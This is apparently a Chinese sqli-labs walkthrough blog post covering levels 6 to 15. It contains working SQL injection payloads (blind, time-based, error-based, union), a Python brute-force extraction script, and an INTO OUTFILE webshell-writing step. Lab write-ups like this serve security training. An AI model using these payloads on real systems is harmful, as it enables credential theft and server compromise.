Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs

简介: Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs

select ascii(substr(database(),1,1)) < 100;

所以

?id=1" and ascii(substr(database(),1,1))>114 --+

?id=1" and (select ascii(substr(database(),1,1))) >114 --+也行

所以ascii码为115,第一位字母为s

用脚本跑

import requests as req
url = ‘http://www.wangehacker.cn/sqli-labs/Less-6/?id=1’
res = ‘’
select = “select database()”
for i in range(1, 100):
for ascii in range(32, 128):
id = ‘1" and ascii(substr(({}),{},1))={}%23’.format(select, i, ascii)
r = req.get(url+id)
print(url+id)
if “You are in” in r.text:
res += chr(ascii)
print(res)
break
if ascii == 127:
print(‘{}’.format(res))
exit(0)

得到库名:security

③走流程

只要修改脚本中的select语句即可

select group_concat(table_name) from information_schema.tables where table_schema=‘security’

select group_concat(column_name) from information_schema.columns where table_schema=‘security’

select group_concat(username,password)from users

Less-7 文件导出

文件导出的方式进行注入

https://www.cnblogs.com/c1047509362/p/12356354.html

①判断闭合

手工测试?id=1’)) and 1=1–+成功

所以是’))闭合

②猜列数

?id=1’)) order by 3–+ 列数为3

③导入一句话木马

?id=-1’)) union select 1,2,‘’ into outfile “C:\ruanjian\phpstudy_pro\WWW\sqli-labs-master\Less-7\test.php” --+

虽然提示报错,但是我们发现已经存在文件test.php了

④连菜刀

中国菜刀进行连接,输入我们写的文件路径,密码是wlw

成功进入

Less-8 布尔盲注/时间盲注

'闭合

这里讲时间盲注(报错注入见Less-5,布尔盲注见Less-6,时间盲注见Less-8)

①判断是否有延时

id=1’ and sleep(5) --+

发现确实有延时,可以用时间盲注

② 爆库长

?id=1’ and if(length(database())=8,sleep(5),null)–+

③爆库名

从左边第一个字母开始,判断库名第一个字母是不是s

?id=1’ and if(left(database(),1)=‘s’,sleep(5),null)–+

?id=1’ and if(left(database(),2)=‘se’,sleep(5),null)–+

security

或者: ?id=1’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)–+

③爆表名

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)–+

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)–+

?id=1’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)–+

database() 如果不想写,可以写security的hex值

表名:emails

或者:

id=1’ and if((select substr(table_name,1,1) from information_schema.tables where table_schema=database() limit 0,1)=‘e’,sleep(5),null) --+

④爆列名

?id=1’ and if(left((select column_name from information_schema.columns where table_name=‘users’ limit *,1),*)=‘password’ ,sleep(5),null)–+

其中*需要逐个尝试

Less-9 时间盲注

'闭合

见Less-8

经过多次尝试,返回值均为You are in …

没有显示位,错误也不会告诉你

所以只能时间盲注

Less-10 时间盲注

同Less-9,"闭合

Less-11 post注入

前十关使用的是get请求,参数都体现在url上面

而从十一关开始是post请求,参数是在表单里面

我们可以直接在输入框进行注入或者bp抓包

①BP抓包,send to repater

②判断闭合方式

admin’报错,admin’ #不报错,所以是’闭合

③判断回显位置

’ union select 1,2 #

④爆库名

’ union select 1,database() #

⑤爆表名

’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

表名:emails,referers,uagents,users

⑤爆列名

’ union select 1,group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’ #

列名:id,username,password

⑥爆数据

’ union select 1,group_concat(username,password) from users #

Less-12 post注入

")闭合 有回显

同Less-11

Less-13 post盲注

')闭合 无回显

①猜闭合方式

admin’

报错near ‘111’) LIMIT 0,1’ at line 1

说明是’)闭合

输入’) # 或’) or 1=1 #

却发现,页面没有回显,考虑使用报错注入、布尔盲注或者时间盲注

这里讲报错盲注,(布尔盲注不知道为什么不行…时间盲注见Less-15)

sqli-labs第十三和十四关(post请求-报错盲注)_sql注入第13关_mmmmcq的博客-CSDN博客_sql注入第13关_mmmmcq的博客-CSDN博客")

③爆字段数

1’) order by 3#报错

1’) order by 2#无回显

所以字段数为2

④爆库名

1’) union select 1,updatexml(1,concat(0x7e,database(),0x7e),1) #

库名:security

⑤爆表名

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = ‘security’),0x7e),1)#

表名:emails,referers,uagents,users

⑥爆列名

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = ‘security’ and table_name=‘users’),0x7e),1)#

列名:id,username,password

⑦爆数据

1’) union select 1,updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

Less-14 post盲注

同Less-13

admin"报错,admin"#无回显

所以是"闭合

布尔盲注好像不能用

可以用时间盲注见Less-15

Less-15 时间盲注

'闭合
①测试
用admin’、admin" 、admin’ and 1=2# 进行测试,发现都不返回错误信息
②判断是否有延时
admin’ and sleep(5) #
发现确实有延时,可以用时间盲注
③爆库长
admin’ and if(length(database())=8,sleep(5),null) #
④爆库名
从左边第一个字母开始,判断库名第一个字母是不是s
admin’ and if(left(database(),1)=‘s’,sleep(5),null) #
admin’ and if(left(database(),2)=‘se’,sleep(5),null) #
security
或者admin’ and if(ascii(substr(database(),0,1))=115,1,sleep(5))#
或者admin’ and if((select (substr(database(),1,1))=“s”) ,sleep(5), null)#
⑤爆表名
admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’ ,sleep(5),null)#
admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),2)=‘em’ ,sleep(5),null)#
admin’ and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),3)=‘ema’ ,sleep(5),null)#


相关文章
|
Web App开发 XML 安全
ZeroShell防火墙存在远程命令执行漏洞(CVE-2019-12725)
zeroshell防火墙存在远程命令执行漏洞,攻击者可通过特定URL链接对目标进行攻击!!!
2227 1
|
安全 测试技术 数据库
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
Sqli-lab教程-史上最全详解(1-22通关)_sqlilabs(1)
|
SQL 安全 数据库
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南
1515 1
|
JSON 开发框架 网络安全
[网络安全] Dirsearch 工具的安装、使用详细教程
[网络安全] Dirsearch 工具的安装、使用详细教程
7575 0
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
SQL 关系型数据库 MySQL
[网络安全]sqli-labs Less-7 解题详析
[网络安全]sqli-labs Less-7 解题详析
301 0
|
SQL 数据库
[第一章 web入门]SQL注入-1 题目分析与详解
[第一章 web入门]SQL注入-1 题目分析与详解
|
SQL 网络安全 数据库
[网络安全]sqli-labs Less-26a 解题详析
[网络安全]sqli-labs Less-26a 解题详析
218 0
|
SQL 网络安全 数据安全/隐私保护
[网络安全]sqli-labs Less-24 解题详析
[网络安全]sqli-labs Less-24 解题详析
207 0